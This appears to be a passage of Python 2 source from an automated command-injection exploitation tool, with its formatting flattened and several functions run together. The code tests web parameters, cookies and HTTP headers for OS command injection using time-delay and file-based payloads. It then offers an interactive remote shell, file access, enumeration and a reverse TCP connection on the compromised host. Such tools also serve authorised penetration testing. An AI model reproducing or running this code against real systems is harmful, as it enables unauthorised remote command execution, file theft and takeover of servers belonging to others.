KeyboardInterrupt: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except SystemExit: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: break else: if no_result == True: return False else: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) return True elif gotshell in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) else: if gotshell == "": gotshell = "enter" err_msg = "'" + gotshell + "' is not a valid answer." print settings.print_error_msg(err_msg) pass except KeyboardInterrupt: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except SystemExit: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise if no_result == True: print "" return False else : sys.stdout.write("\r") sys.stdout.flush()
def tfb_injection_handler(url, delay, filename, tmp_path, http_request_method, url_time_response): counter = 1 num_of_chars = 1 vp_flag = True no_result = True is_encoded = False is_vulnerable = False again_warning = True false_positive_warning = False how_long_statistic = 0 export_injection_info = False how_long = 0 injection_type = "Semiblind Command Injection" technique = "tempfile-based injection technique" # Check if defined "--maxlen" option. if menu.options.maxlen: maxlen = settings.MAXLEN # Check if defined "--url-reload" option. if menu.options.url_reload == True: err_msg = "The '--url-reload' option is not available in " + technique + "!" print settings.print_error_msg(err_msg) whitespace = checks.check_whitespaces() if settings.VERBOSITY_LEVEL >= 1: info_msg = "Testing the " + technique + "... " print settings.print_info_msg(info_msg) + info_msg # Calculate all possible combinations total = (len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION)) for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: if settings.LOAD_SESSION: cmd = shell = "" url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation( url, http_request_method) checks.check_for_stored_tamper(payload) settings.FOUND_HOW_LONG = how_long settings.FOUND_DIFF = how_long - delay OUTPUT_TEXTFILE = tmp_path + TAG + ".txt" else: num_of_chars = num_of_chars + 1 # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" # Change TAG on every request to prevent false-positive resutls. TAG = ''.join( random.choice(string.ascii_uppercase) for num_of_chars in range(6)) # The output file for file-based injection technique. OUTPUT_TEXTFILE = tmp_path + TAG + ".txt" alter_shell = menu.options.alter_shell tag_length = len(TAG) + 4 for output_length in range(1, int(tag_length)): try: # Tempfile-based decision payload (check if host is vulnerable). if alter_shell: payload = tfb_payloads.decision_alter_shell( separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method) else: payload = tfb_payloads.decision( separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = re.sub(" ", whitespace, payload) # Encode payload to Base64 if settings.TAMPER_SCRIPTS['base64encode']: from src.core.tamper import base64encode payload = base64encode.encode(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL >= 1: payload_msg = payload.replace("\n", "\\n") print settings.print_payload(payload_msg) # Cookie Injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie injection. vuln_parameter = parameters.specify_cookie_parameter( menu.options.cookie) how_long = tfb_injector.cookie_injection_test( url, vuln_parameter, payload) # User-Agent Injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent injection. vuln_parameter = parameters.specify_user_agent_parameter( menu.options.agent) how_long = tfb_injector.user_agent_injection_test( url, vuln_parameter, payload) # Referer Injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer injection. vuln_parameter = parameters.specify_referer_parameter( menu.options.referer) how_long = tfb_injector.referer_injection_test( url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter( settings.INJECT_TAG) how_long = tfb_injector.custom_header_injection_test( url, vuln_parameter, payload) else: # Check if target host is vulnerable. how_long, vuln_parameter = tfb_injector.injection_test( payload, http_request_method, url) # Injection percentage calculation percent = ((num_of_chars * 100) / total) float_percent = "{0:.1f}".format( round(((num_of_chars * 100) / (total * 1.0)), 2)) # Statistical analysis in time responses. how_long_statistic = how_long_statistic + how_long # Reset the how_long_statistic counter if output_length == tag_length - 1: how_long_statistic = 0 if percent == 100 and no_result == True: if not settings.VERBOSITY_LEVEL >= 1: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = "" else: if (url_time_response == 0 and (how_long - delay) >= 0) or \ (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \ (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) : # Time relative false positive fixation. false_positive_fixation = False if len(TAG) == output_length: # Windows targets. if settings.TARGET_OS == "win": if how_long > (how_long_statistic / output_length): false_positive_fixation = True else: false_positive_warning = True # Unix-like targets. else: if delay == 1 and (how_long_statistic == delay) or \ delay == 1 and (how_long_statistic == how_long) or \ delay > 1 and (how_long_statistic == (output_length + delay)) and \ how_long == delay + 1: false_positive_fixation = True else: false_positive_warning = True # Identified false positive warning message. if false_positive_warning and again_warning: again_warning = False warn_msg = "Unexpected time delays have been identified due to unstable " warn_msg += "requests. This behavior which may lead to false-positive results." sys.stdout.write( "\r" + settings.print_warning_msg( warn_msg)) print "" # Check if false positive fixation is True. if false_positive_fixation: false_positive_fixation = False settings.FOUND_HOW_LONG = how_long settings.FOUND_DIFF = how_long - delay randv1 = random.randrange(0, 1) randv2 = random.randrange(1, 2) randvcalc = randv1 + randv2 if settings.TARGET_OS == "win": if alter_shell: cmd = settings.WIN_PYTHON_DIR + "python.exe -c \"print (" + str( randv1) + " + " + str( randv2) + ")\"" else: cmd = "powershell.exe -InputFormat none write (" + str( randv1) + " + " + str( randv2) + ")" else: cmd = "echo $((" + str( randv1) + " + " + str( randv2) + "))" # Check for false positive resutls how_long, output = tfb_injector.false_positive_check( separator, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, how_long, url_time_response) if (url_time_response == 0 and (how_long - delay) >= 0) or \ (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \ (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) : if str(output) == str( randvcalc) and len( TAG) == output_length: is_vulnerable = True how_long_statistic = 0 if not settings.VERBOSITY_LEVEL >= 1: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL else: percent = "" #break else: break # False positive else: if not settings.VERBOSITY_LEVEL >= 1: percent = str(float_percent) + "%" info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]" sys.stdout.write( "\r" + settings.print_info_msg( info_msg)) sys.stdout.flush() continue else: if not settings.VERBOSITY_LEVEL >= 1: percent = str(float_percent) + "%" info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() continue if not settings.VERBOSITY_LEVEL >= 1: info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() except KeyboardInterrupt: if 'cmd' in locals(): # Delete previous shell (text) files (output) from temp. delete_previous_shell( separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except SystemExit: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except: percent = ((num_of_chars * 100) / total) float_percent = "{0:.1f}".format( round(((num_of_chars * 100) / (total * 1.0)), 2)) if str(float_percent) == "100.0": if no_result == True: if not settings.VERBOSITY_LEVEL >= 1: percent = Fore.RED + "FAILED" + Style.RESET_ALL info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() else: percent = "" else: percent = str(float_percent) + "%" #Print logs notification message #percent = Fore.BLUE + "FINISHED" + Style.RESET_ALL info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() print "" logs.logs_notification(filename) raise else: percent = str(float_percent) + "%" break # Yaw, got shellz! # Do some magic tricks! if (url_time_response == 0 and (how_long - delay) >= 0) or \ (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \ (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) : if (len(TAG) == output_length) and \ (is_vulnerable == True or settings.LOAD_SESSION and is_vulnerable == "True"): found = True no_result = False if settings.LOAD_SESSION: is_vulnerable = False if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param( url) else: found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0: found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique( export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter( vp_flag, filename, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: print "" # Print the findings to terminal. success_msg = "The (" + http_request_method + ")" success_msg += found_vuln_parameter + header_name success_msg += the_type + " is vulnerable to " + injection_type + "." print settings.print_success_msg(success_msg) print " (+) Type : " + Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + "" print " (+) Technique : " + Fore.YELLOW + Style.BRIGHT + technique.title( ) + Style.RESET_ALL + "" print " (+) Payload : " + Fore.YELLOW + Style.BRIGHT + re.sub( "%20", " ", payload.replace( "\n", "\\n")) + Style.RESET_ALL if not settings.LOAD_SESSION: shell = "" session_handler.injection_point_importation( url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable) is_vulnerable = False else: settings.LOAD_SESSION = False # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if settings.TARGET_OS == "win": time.sleep(1) new_line = False # Check for any enumeration options. if settings.ENUMERATION_DONE == True: while True: question_msg = "Do you want to enumerate again? [Y/n/q] > " enumerate_again = raw_input( "\n" + settings.print_question_msg(question_msg) ).lower() if enumerate_again in settings.CHOICE_YES: tfb_enumeration.do_check( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) print "" break elif enumerate_again in settings.CHOICE_NO: new_line = True break elif enumerate_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) from temp. delete_previous_shell( separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) else: if enumerate_again == "": enumerate_again = "enter" err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg( err_msg) + "\n" pass else: if menu.enumeration_options(): tfb_enumeration.do_check( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) print "" # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: print "" while True: question_msg = "Do you want to access files again? [Y/n] > " file_access_again = raw_input( settings.print_question_msg( question_msg)).lower() if file_access_again in settings.CHOICE_YES: tfb_file_access.do_check( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) break elif file_access_again in settings.CHOICE_NO: if not new_line: new_line = True break elif file_access_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) from temp. delete_previous_shell( separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) else: if file_access_again == "": file_access_again = "enter" err_msg = "'" + file_access_again + "' is not a valid answer." print settings.print_error_msg( err_msg) + "\n" pass else: # if not menu.enumeration_options() and not menu.options.os_cmd: # print "" tfb_file_access.do_check( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) # Check if defined single cmd. if menu.options.os_cmd: check_how_long, output = tfb_enumeration.single_os_cmd_exec( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) # Export injection result tfb_injector.export_injection_results( cmd, separator, output, check_how_long) # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) if not new_line: print "" try: # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break question_msg = "Do you want a Pseudo-Terminal? [Y/n/q] > " gotshell = raw_input( settings.print_question_msg( question_msg)).lower() if gotshell in settings.CHOICE_YES: print "" print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)" if readline_error: checks.no_readline_module() while True: try: # Tab compliter if not readline_error: readline.set_completer( menu.tab_completer) # MacOSX tab compliter if getattr( readline, '__doc__', '' ) is not None and 'libedit' in getattr( readline, '__doc__', ''): readline.parse_and_bind( "bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind( "tab: complete") cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower( ) in settings.SHELL_OPTIONS: os_shell_option = checks.check_os_shell_options( cmd.lower(), technique, go_back, no_result) if os_shell_option == False: if no_result == True: return False else: return True elif os_shell_option == "quit": # Delete previous shell (text) files (output) from temp. delete_previous_shell( separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) elif os_shell_option == "back": go_back = True break elif os_shell_option == "os_shell": warn_msg = "You are already into an 'os_shell' mode." print settings.print_warning_msg( warn_msg) + "\n" elif os_shell_option == "reverse_tcp": # Set up LHOST / LPORT for The reverse TCP connection. reverse_tcp.configure_reverse_tcp( ) if settings.REVERSE_TCP == False: continue while True: if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS: result = checks.check_reverse_tcp_options( settings.LHOST) else: cmd = reverse_tcp.reverse_tcp_options( ) result = checks.check_reverse_tcp_options( cmd) if result != None: if result == 0: return False elif result == 1 or result == 2: go_back_again = True settings.REVERSE_TCP = False break # Command execution results. from src.core.injections.results_based.techniques.classic import cb_injector separator = checks.time_based_separators( separator, http_request_method ) whitespace = urllib.quote( settings. WHITESPACE[0]) response = cb_injector.injection( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Evaluate injection results. shell = cb_injector.injection_results( response, TAG, cmd) if settings.VERBOSITY_LEVEL >= 1: print "" err_msg = "The reverse TCP connection has been failed!" print settings.print_critical_msg( err_msg) else: pass else: print "" if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # The main command injection exploitation. check_how_long, output = tfb_injector.injection( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) # Export injection result tfb_injector.export_injection_results( cmd, separator, output, check_how_long) if not menu.options.ignore_session: session_handler.store_cmd( url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd( url, cmd, vuln_parameter) print Fore.GREEN + Style.BRIGHT + output + "\n" + Style.RESET_ALL except KeyboardInterrupt: # Delete previous shell (text) files (output) from temp. delete_previous_shell( separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except SystemExit: # Delete previous shell (text) files (output) from temp. delete_previous_shell( separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector( technique, go_back) == True: break else: if no_result == True: return False else: # Delete previous shell (text) files (output) from temp. delete_previous_shell( separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) return True elif gotshell in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) from temp. delete_previous_shell( separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) else: if gotshell == "": gotshell = "enter" err_msg = "'" + gotshell + "' is not a valid answer." print settings.print_error_msg( err_msg) + "\n" pass except KeyboardInterrupt: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except SystemExit: # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise if no_result == True: print "" return False else: sys.stdout.write("\r") sys.stdout.flush()
def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename): # Execute shell commands on vulnerable host. if alter_shell: payload = eb_payloads.cmd_execution_alter_shell(separator, TAG, cmd) else: payload = eb_payloads.cmd_execution(separator, TAG, cmd) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Fixation for specific payload. if ")%3B" + urllib.quote(")}") in payload: payload = payload.replace(")%3B" + urllib.quote(")}"), ")" + urllib.quote(")}")) # Whitespace fixation payload = re.sub(" ", whitespace, payload) if settings.TAMPER_SCRIPTS['base64encode']: from src.core.tamper import base64encode payload = base64encode.encode(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL >= 1: info_msg = "Executing the '" + cmd + "' command: " sys.stdout.write("\n" + settings.print_info_msg(info_msg)) sys.stdout.flush() sys.stdout.write("\n" + settings.print_payload(payload) + "\n") # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: response = cookie_injection_test(url, vuln_parameter, payload) # Check if defined user-agent with "INJECT_HERE" tag elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: response = user_agent_injection_test(url, vuln_parameter, payload) # Check if defined referer with "INJECT_HERE" tag elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: response = referer_injection_test(url, vuln_parameter, payload) # Check if defined custom header with "INJECT_HERE" tag elif settings.CUSTOM_HEADER_INJECTION: response = custom_header_injection_test(url, vuln_parameter, payload) else: # Check if defined method is GET (Default). if http_request_method == "GET": # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url) target = re.sub(settings.INJECT_TAG, payload, url) vuln_parameter = ''.join(vuln_parameter) request = urllib2.Request(target) # Check if defined extra headers. headers.do_check(request) # Get the response of the request response = requests.get_request_response(request) else : # Check if defined method is POST. parameter = menu.options.data parameter = urllib2.unquote(parameter) # Check if its not specified the 'INJECT_HERE' tag parameter = parameters.do_POST_check(parameter) parameter = parameter.replace("+","%2B") # Define the POST data if settings.IS_JSON == False: data = re.sub(settings.INJECT_TAG, payload, parameter) request = urllib2.Request(url, data) else: payload = payload.replace("\"", "\\\"") data = re.sub(settings.INJECT_TAG, urllib.unquote(payload), parameter) data = json.loads(data, strict = False) request = urllib2.Request(url, json.dumps(data)) # Check if defined extra headers. headers.do_check(request) # Get the response of the request response = requests.get_request_response(request) return response
def fb_injection_handler(url, delay, filename, http_request_method, url_time_response): counter = 1 vp_flag = True exit_loops = False no_result = True is_encoded = False stop_injection = False call_tmp_based = False next_attack_vector = False export_injection_info = False injection_type = "semi-blind command injection" technique = "file-based injection technique" # Set temp path if settings.TARGET_OS == "win": if "microsoft-iis" in settings.SERVER_BANNER.lower(): settings.TMP_PATH = "C:\\Windows\TEMP\\" else: settings.TMP_PATH = "%temp%\\" else: settings.TMP_PATH = "/tmp/" if menu.options.tmp_path: tmp_path = menu.options.tmp_path else: tmp_path = settings.TMP_PATH if settings.DEFAULT_SRV_ROOT_DIR != settings.SRV_ROOT_DIR: settings.SRV_ROOT_DIR = settings.DEFAULT_SRV_ROOT_DIR if menu.options.file_dest and '/tmp/' in menu.options.file_dest: call_tmp_based = True else: if menu.options.srv_root_dir: settings.SRV_ROOT_DIR = menu.options.srv_root_dir else: # Debian/Ubunt have been updated to use /var/www/html as default instead of /var/www. if "apache" in settings.SERVER_BANNER.lower(): if "debian" or "ubuntu" in settings.SERVER_BANNER.lower(): try: check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower()) if check_version[0] > "2.3" and not settings.TARGET_OS == "win": # Add "/html" to servers root directory settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html" else: settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR except IndexError: pass # Add "/html" to servers root directory elif "fedora" or "centos" in settings.SERVER_BANNER.lower(): settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html" else: pass # On more recent versions (>= "1.2.4") the default root path has changed to "/usr/share/nginx/html" elif "nginx" in settings.SERVER_BANNER.lower(): try: check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower()) if check_version[0] >= "1.2.4": # Add "/html" to servers root directory settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html" else: # Add "/www" to servers root directory settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/www" except IndexError: pass elif "microsoft-iis" in settings.SERVER_BANNER.lower(): pass else: # Provide custom server's root directory. custom_srv_root_dir() path = urlparse.urlparse(url).path path_parts = path.split('/') count = 0 for part in path_parts: count = count + 1 count = count - 1 last_param = path_parts[count] EXTRA_DIR = path.replace(last_param, "") settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + EXTRA_DIR if settings.TARGET_OS == "win": settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR.replace("/","\\") if not settings.LOAD_SESSION or settings.RETEST == True: info_msg = "Trying to create a file in '" + settings.SRV_ROOT_DIR + "'... " print settings.print_info_msg(info_msg) i = 0 TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) # Calculate all possible combinations total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) # Check if defined alter shell alter_shell = menu.options.alter_shell for whitespace in settings.WHITESPACE: for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: # If a previous session is available. if settings.LOAD_SESSION and session_handler.notification(url, technique): url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) checks.check_for_stored_tamper(payload) OUTPUT_TEXTFILE = TAG + ".txt" if technique == "tempfile-based injection technique": #settings.LOAD_SESSION = True tfb_handler.exploitation(url, delay, filename, tmp_path, http_request_method, url_time_response) if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler cb_handler.exploitation(url, delay, filename, http_request_method) if not settings.LOAD_SESSION: i = i + 1 # The output file for file-based injection technique. OUTPUT_TEXTFILE = TAG + ".txt" # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" try: # File-based decision payload (check if host is vulnerable). if alter_shell : payload = fb_payloads.decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE) else: payload = fb_payloads.decision(separator, TAG, OUTPUT_TEXTFILE) # Check if defined "--prefix" option. # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = re.sub(" ", whitespace, payload) if settings.TAMPER_SCRIPTS['base64encode']: from src.core.tamper import base64encode payload = base64encode.encode(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL >= 1: payload_msg = payload.replace("\n", "\\n") print settings.print_payload(payload_msg) # Cookie Injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie injection. vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) response = fb_injector.cookie_injection_test(url, vuln_parameter, payload) # User-Agent Injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent injection. vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) response = fb_injector.user_agent_injection_test(url, vuln_parameter, payload) # Referer Injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer injection. vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) response = fb_injector.referer_injection_test(url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) response = fb_injector.custom_header_injection_test(url, vuln_parameter, payload) else: # Check if target host is vulnerable. response, vuln_parameter = fb_injector.injection_test(payload, http_request_method, url) # Find the directory. output = fb_injector.injection_output(url, OUTPUT_TEXTFILE, delay) time.sleep(delay) try: # Check if defined extra headers. request = urllib2.Request(output) headers.do_check(request) # Evaluate test results. output = urllib2.urlopen(request) html_data = output.read() shell = re.findall(r"" + TAG + "", html_data) if len(shell) != 0 and shell[0] == TAG and not settings.VERBOSITY_LEVEL >= 1: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL info_msg = "Testing the " + technique + "... [ " + percent + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if len(shell) == 0 : # delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # if settings.VERBOSITY_LEVEL >= 1: # print "" raise urllib2.HTTPError(url, 404, 'Error', {}, None) except urllib2.HTTPError, e: if e.getcode() == 404: percent = ((i*100)/total) float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2)) if call_tmp_based == True: exit_loops = True tmp_path = os.path.split(menu.options.file_dest)[0] + "/" tfb_controller(no_result, url, delay, filename, tmp_path, http_request_method, url_time_response) raise # Show an error message, after N failed tries. # Use the "/tmp/" directory for tempfile-based technique. elif i == settings.FAILED_TRIES and no_result == True : warn_msg = "It seems that you don't have permissions to " warn_msg += "read and/or write files in '" + settings.SRV_ROOT_DIR + "'." sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) print "" while True: question_msg = "Do you want to try the temporary directory (" + tmp_path + ") [Y/n/q] > " sys.stdout.write(settings.print_question_msg(question_msg)) tmp_upload = sys.stdin.readline().replace("\n","").lower() if tmp_upload in settings.CHOICE_YES: exit_loops = True settings.TEMPFILE_BASED_STATE = True call_tfb = tfb_controller(no_result, url, delay, filename, tmp_path, http_request_method, url_time_response) if call_tfb != False: return True else: if no_result == True: return False else: return True elif tmp_upload in settings.CHOICE_NO: break elif tmp_upload in settings.CHOICE_QUIT: print "" raise else: if tmp_upload == "": tmp_upload = "enter" err_msg = "'" + tmp_upload + "' is not a valid answer." print settings.print_error_msg(err_msg) pass continue else: if exit_loops == False: if not settings.VERBOSITY_LEVEL >= 1: if str(float_percent) == "100.0": if no_result == True: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = str(float_percent)+ "%" else: percent = str(float_percent)+ "%" info_msg = "Testing the " + technique + "... [ " + percent + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() continue else: continue else: raise elif e.getcode() == 401: err_msg = "Authorization required!" print settings.print_critical_msg(err_msg) + "\n" sys.exit(0) elif e.getcode() == 403: err_msg = "You don't have permission to access this page." print settings.print_critical_msg(err_msg) + "\n" sys.exit(0) except KeyboardInterrupt: if settings.VERBOSITY_LEVEL >= 1: print "" # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, 